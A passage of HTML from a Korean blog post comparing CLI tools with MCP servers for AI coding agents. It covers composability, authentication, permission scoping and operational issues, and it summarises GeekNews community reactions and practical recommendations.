&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;CLI의 가장 강력한 특징은 &lt;b&gt;파이프라인 조합&lt;/b&gt;이다. &lt;code&gt;jq&lt;/code&gt;, &lt;code&gt;grep&lt;/code&gt;, &lt;code&gt;awk&lt;/code&gt;, 파일 리디렉션을 자유롭게 엮을 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// 원문 예시: Terraform 플랜에서 변경 리소스 수 추출&lt;/div&gt;
&lt;pre class=&quot;coq&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;terraform show -json plan.out \
  | jq '[.resource_changes[]
         | select(.change.actions[0] == &quot;no-op&quot; | not)] | length'&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;MCP 서버에서 동일한 작업을 하려면 전체 결과를 컨텍스트에 넣거나, 서버에서 필터링 로직을 추가 구현해야 한다. CLI는 Unix 철학(&quot;작은 도구를 조합하라&quot;) 덕분에 이런 작업이 자연스럽다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3-4. 기존 인증 체계 재활용&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;AWS 프로파일, GitHub 인증, kubectl 컨텍스트 등 기존 인증 체계는 수십 년에 걸쳐 검증되었다. CLI는 이를 그대로 활용한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// 이미 개발자에게 익숙한 인증 방식&lt;/div&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;$ aws sso login --profile prod
$ gh auth refresh
$ kubectl config use-context my-cluster&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;반면 MCP는 새로운 인증 방식을 별도로 요구하거나, 기존 인증과 별개로 추가 설정이 필요한 경우가 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3-5. 운영 단순성&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;CLI 바이너리는 필요할 때만 실행된다. 백그라운드 프로세스를 관리할 필요가 없다. 반면 로컬 MCP 서버는 별도 프로세스로 관리되어야 하며, 시작 실패나 무한 대기 같은 문제가 발생할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. MCP의 현실적 문제점 3가지&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Holmes는 이론적 주장에 그치지 않고, MCP를 직접 사용하며 겪은 실무 문제를 세 가지로 정리한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;문제 1: 초기화 불안정&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;로컬 MCP 서버가 시작에 실패하면 Claude Code 자체를 재시작해야 하는 상황을 겪었다고 한다. MCP 서버는 별도 프로세스이기 때문에, 프로세스 관리의 복잡성이 그대로 개발 워크플로우에 영향을 준다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border: 2px solid #dc3545; border-radius: 8px; padding: 15px 18px; margin: 20px 0;&quot;&gt;&lt;b&gt;실제 문제 상황&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;MCP 서버 프로세스 시작 실패 &amp;rarr; 전체 AI 세션 재시작 필요&lt;/li&gt;
&lt;li&gt;서버가 응답 없이 멈추는 &quot;무한 대기&quot; 현상&lt;/li&gt;
&lt;li&gt;CLI라면 해당 명령만 다시 실행하면 될 일&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;문제 2: 반복 재인증&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;여러 MCP 도구를 함께 사용할 때 각각 별도로 인증해야 하는 경우가 발생한다. CLI였다면 이미 로그인된 세션을 모든 도구가 공유하지만, MCP 서버는 자체 인증 흐름을 가지는 경우가 많다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;문제 3: 권한 제어의 부재&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Holmes가 지적하는 가장 날카로운 문제다. CLI에서는 세밀한 권한 제어가 가능하다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// CLI에서는 명령어 단위 권한 제어가 가능하다&lt;/div&gt;
&lt;pre class=&quot;stata&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;gh pr view 123   허용 (읽기 전용)
gh pr merge 123  거부 (파괴적 작업)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;MCP에서는 읽기 전용 제한이나 특정 매개변수 스코핑이 쉽지 않다. MCP 서버가 한 번 활성화되면, 그 서버가 제공하는 모든 도구를 LLM이 사용할 수 있는 구조다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px 18px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;보안 관점에서의 위험&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;이 문제는 별도의 보안 글에서 자세히 다뤘다. MCP 서버의 권한 관리 문제는 실제로 Tool Poisoning 공격의 진입점이 되기도 한다. (&lt;a href=&quot;https://goddaehee.tistory.com&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;관련 글: MCP 보안 위협 완전 분석&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. CLI vs MCP 비교표&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;두 방식의 차이를 한눈에 비교해보자.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;비교 항목&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;CLI&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;MCP&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;LLM 친숙도&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;훈련 데이터에 이미 풍부&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;도구별 별도 학습 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;디버깅&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;터미널에서 직접 재현 가능&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;프로토콜 레이어 추가로 복잡&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;조합성&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;파이프라인, grep, jq 자유 조합&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;서버 내 구현 또는 전체 컨텍스트 전달&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;인증&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;기존 AWS/GitHub/kubectl 재활용&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;MCP별 추가 인증 필요할 수 있음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;권한 제어&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;명령어 단위 세밀한 제어&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;세밀한 스코핑 어려움&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;운영 복잡도&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;백그라운드 프로세스 없음&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;별도 프로세스 관리 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;CLI 없는 서비스&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;CLI가 없으면 사용 불가&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;API만 있어도 MCP 서버 구축 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;비개발자 환경&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;터미널 실행 환경 필요&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;클라이언트에서 추상화 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;중앙화된 텔레메트리&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;별도 구현 필요&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;HTTP MCP에서 일원화 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. MCP가 여전히 적합한 상황&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Holmes 자신도 MCP를 완전히 부정하지는 않는다. GeekNews 커뮤니티의 반론도 타당한 지점이 있다. MCP가 CLI보다 나은 상황은 분명히 존재한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;상황 1: CLI가 없는 서비스&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Notion, Linear, Slack 같은 SaaS 서비스는 공식 CLI를 제공하지 않거나 기능이 제한적이다. 이런 경우 MCP 서버가 유일한 현실적 선택지가 된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px 18px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;MCP가 실제로 빛나는 순간&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Slack 채널의 최근 대화를 요약하거나, &lt;b&gt;MCP를 통해 특정 채널에 메시지를 전송&lt;/b&gt;하는 경우&lt;/li&gt;
&lt;li&gt;Notion 페이지를 읽고 요약하는 작업&lt;/li&gt;
&lt;li&gt;Linear 이슈를 조회하고 상태를 업데이트하는 워크플로우&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;상황 2: 비개발자 환경&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;CLI는 터미널 실행 환경이 있어야 한다. 웹 기반 AI 인터페이스나 모바일 앱처럼 셸 접근이 불가능한 환경에서는 CLI를 실행할 수 없다. MCP는 이 격차를 자연스럽게 메워준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;상황 3: HTTP MCP (원격 MCP)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;로컬 MCP 서버의 문제 대부분은 &lt;b&gt;HTTP 기반 원격 MCP&lt;/b&gt;로 해소할 수 있다는 의견도 있다. 팀 전체가 공유하는 중앙화된 MCP 서버는 인증을 일원화하고, 텔레메트리를 수집하며, 버전 관리도 쉬워진다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px 18px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;GeekNews 커뮤니티 의견 (원문 번역 요약)&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;중앙화된 인증과 텔레메트리 측면에서 HTTP MCP가 효율적이다. 로컬 MCP의 문제가 원격 MCP에서는 해소될 수 있다.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 한국 개발자 커뮤니티 반응 (GeekNews)&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GeekNews에서 이 글이 공유되자 (&lt;a href=&quot;https://news.hada.io/topic?id=27129&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;news.hada.io/topic?id=27129&lt;/a&gt;), 다양한 관점의 댓글이 달렸다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;찬성 의견: &quot;실무에서 이미 CLI로 쓴다&quot;&lt;/h3&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #d0d7de;&quot;&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px; line-height: 2.2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code style=&quot;font-size: 12px; background: #dde; padding: 1px 5px; border-radius: 3px;&quot;&gt;@jamsya&lt;/code&gt; &lt;span style=&quot;color: #0066cc; font-weight: 600;&quot;&gt;&quot;claude code가 aws cli로 필요한 거 알아서 가져다 씀&quot;&lt;/span&gt; &amp;mdash; 별도 MCP 없이 CLI만으로 에이전트가 충분히 작동한다는 실무 경험&lt;/li&gt;
&lt;li&gt;&lt;code style=&quot;font-size: 12px; background: #dde; padding: 1px 5px; border-radius: 3px;&quot;&gt;@hulryung&lt;/code&gt; &lt;span style=&quot;color: #0066cc; font-weight: 600;&quot;&gt;&quot;저도 MCP보다 CLI로 툴을 직접 만들어쓰기 시작했습니다&quot;&lt;/span&gt; &amp;mdash; MCP 대신 CLI 기반 도구를 직접 만들어 쓰기 시작했다는 실무 전환 경험&lt;/li&gt;
&lt;li&gt;&lt;code style=&quot;font-size: 12px; background: #dde; padding: 1px 5px; border-radius: 3px;&quot;&gt;@hanje3765&lt;/code&gt; &lt;span style=&quot;color: #0066cc; font-weight: 600;&quot;&gt;&quot;LLM의 지능이 높아지면서 MCP 필요성이 모호해진다&quot;&lt;/span&gt; &amp;mdash; 모델 성능 향상으로 MCP의 상대적 가치가 줄어든다는 시각&lt;/li&gt;
&lt;li&gt;&lt;code style=&quot;font-size: 12px; background: #dde; padding: 1px 5px; border-radius: 3px;&quot;&gt;@brainer&lt;/code&gt; &lt;span style=&quot;color: #0066cc; font-weight: 600;&quot;&gt;&quot;MCP를 썼던 주된 이유가 long context 한계 때문이었는데, 이제 그 한계가 극복되면서 MCP의 필요성이 줄었다&quot;&lt;/span&gt; &amp;mdash; 모델 성능 향상으로 MCP 의존도가 자연스럽게 낮아졌다는 경험담&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;반대 의견: &quot;MCP의 강점이 있다&quot;&lt;/h3&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #d0d7de;&quot;&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px; line-height: 2.2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code style=&quot;font-size: 12px; background: #fdd; padding: 1px 5px; border-radius: 3px;&quot;&gt;@sonnet&lt;/code&gt; &lt;span style=&quot;color: #ee2323; font-weight: 600;&quot;&gt;&quot;마이크로서비스처럼 여러 서비스를 연결할 때는 MCP가 적합한 API 프로토콜이 될 수 있다&quot;&lt;/span&gt; &amp;mdash; 서비스 통합 맥락에서 MCP의 강점을 지적&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #ee2323; font-weight: 600;&quot;&gt;&quot;웹 기반 인터페이스에서는 CLI 실행 자체가 불가능하다&quot;&lt;/span&gt; &amp;mdash; 환경 제약에서 오는 MCP의 존재 이유&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;절충 의견: &quot;상황에 따라 다르다&quot;&lt;/h3&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px 18px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;커뮤니티 절충안&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&quot;&lt;b&gt;CLI에 해당하는 도구가 없을 때&lt;/b&gt; MCP가 적합하다&quot; &amp;mdash; 가장 많은 공감을 얻은 관점&lt;/li&gt;
&lt;li&gt;&lt;code style=&quot;font-size: 12px; background: #d5f0d5; padding: 1px 5px; border-radius: 3px;&quot;&gt;@m00nlygreat&lt;/code&gt; &quot;&lt;b&gt;원격 실행은 mcp, 로컬 실행은 skills&lt;/b&gt;로 정리되는 것 같습니다&quot; &amp;mdash; 실행 맥락에 따른 역할 분담이 자연스럽게 형성된다는 관점&lt;/li&gt;
&lt;li&gt;&lt;code style=&quot;font-size: 12px; background: #d5f0d5; padding: 1px 5px; border-radius: 3px;&quot;&gt;@develosopher&lt;/code&gt; &quot;SaaS 서비스를 개발하는 입장에서는 자연스럽게 &lt;b&gt;CLI보다 MCP를 선택&lt;/b&gt;하게 된다&quot; &amp;mdash; 서비스 특성과 개발자 역할에 따라 MCP/CLI 선택이 달라진다는 절충적 관점&lt;/li&gt;
&lt;li&gt;&quot;중앙화된 인증과 텔레메트리 측면에서 &lt;b&gt;HTTP MCP는 여전히 효율적&lt;/b&gt;이다&quot; &amp;mdash; 로컬 MCP 문제를 원격 MCP로 보완 가능하다는 절충안&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 8 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 개발자에게 주는 시사점&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 논쟁에서 어느 한쪽이 완전한 승자가 되기는 어렵다. 하지만 몇 가지 실용적인 시사점은 분명하다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;기업/서비스 제공자라면&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;우선순위 결정 가이드&lt;/b&gt;
&lt;ol style=&quot;margin: 12px 0 0 20px; padding: 0; line-height: 2.2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;좋은 REST API&lt;/b&gt;를 먼저 제공하라 &amp;mdash; AI 에이전트와 사람 모두에게 필요하다&lt;/li&gt;
&lt;li&gt;&lt;b&gt;공식 CLI&lt;/b&gt;를 만들어라 &amp;mdash; LLM은 자연스럽게 활용한다&lt;/li&gt;
&lt;li&gt;CLI로 해결이 안 되는 영역에 &lt;b&gt;MCP 서버&lt;/b&gt;를 고려하라&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;개인 개발자라면&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;권장 선택&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;GitHub, AWS, kubectl 작업&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;CLI&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;이미 훌륭한 CLI가 있음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;CLI 없는 SaaS 연동&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;MCP&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;실질적 대안이 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;팀 공유 AI 인프라 구축&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;HTTP MCP&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;중앙화 인증&amp;middot;텔레메트리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;복잡한 파이프라인 작업&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;CLI&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;파이프라인 조합성 우월&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;세밀한 권한 제어 필요&lt;/td&gt;
